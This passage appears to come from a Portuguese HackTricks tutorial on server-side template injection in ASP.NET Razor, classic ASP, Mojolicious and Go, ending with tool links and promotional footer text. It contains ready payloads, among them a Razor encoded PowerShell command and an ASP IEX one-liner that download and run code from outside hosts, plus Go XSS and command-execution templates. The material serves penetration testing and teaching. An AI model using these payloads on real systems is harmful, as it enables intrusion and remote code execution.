@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");
O método .NET System.Diagnostics.Process.Start
pode ser usado para iniciar qualquer processo no servidor e assim criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em https://github.com/cnotin/RazorVulnerableApp
Mais informações
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Mais Informações
Mojolicious (Perl)
Mesmo sendo perl, ele usa tags como ERB em Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Erro
<%= perl code %>
<% perl code %>
SSTI em GO
No mecanismo de template do Go, a confirmação de seu uso pode ser feita com payloads específicos:
{{ . }}
: Revela a estrutura de dados de entrada. Por exemplo, se um objeto com um atributoPassword
for passado,{{ .Password }}
poderia expô-lo.{{printf "%s" "ssti" }}
: Espera-se exibir a string "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Esses payloads devem retornar "ssti" sem adicionar "html" ou "js". Mais diretivas podem ser exploradas na documentação do Go aqui.
Exploração de XSS
Com o pacote text/template
, o XSS pode ser direto ao inserir o payload diretamente. Por outro lado, o pacote html/template
codifica a resposta para evitar isso (por exemplo, {{"<script>alert(1)</script>"}}
resulta em <script>alert(1)</script>
). No entanto, a definição e invocação de templates em Go podem contornar essa codificação: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Exploração de RCE
A exploração de RCE difere significativamente entre html/template
e text/template
. O módulo text/template
permite chamar qualquer função pública diretamente (usando o valor "call"), o que não é permitido em html/template
. A documentação para esses módulos está disponível aqui para html/template e aqui para text/template.
Para RCE via SSTI em Go, os métodos de objetos podem ser invocados. Por exemplo, se o objeto fornecido tiver um método System
executando comandos, ele pode ser explorado como {{ .System "ls" }}
. Acesso ao código-fonte geralmente é necessário para explorar isso, como no exemplo fornecido:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Mais informações
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Mais Exploits
Confira o restante em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para mais exploits. Você também pode encontrar informações interessantes sobre tags em https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
Ajuda Relacionada
Se você achar útil, leia:
Ferramentas
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Lista de Detecção de Força Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Prática e Referências
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud github repos.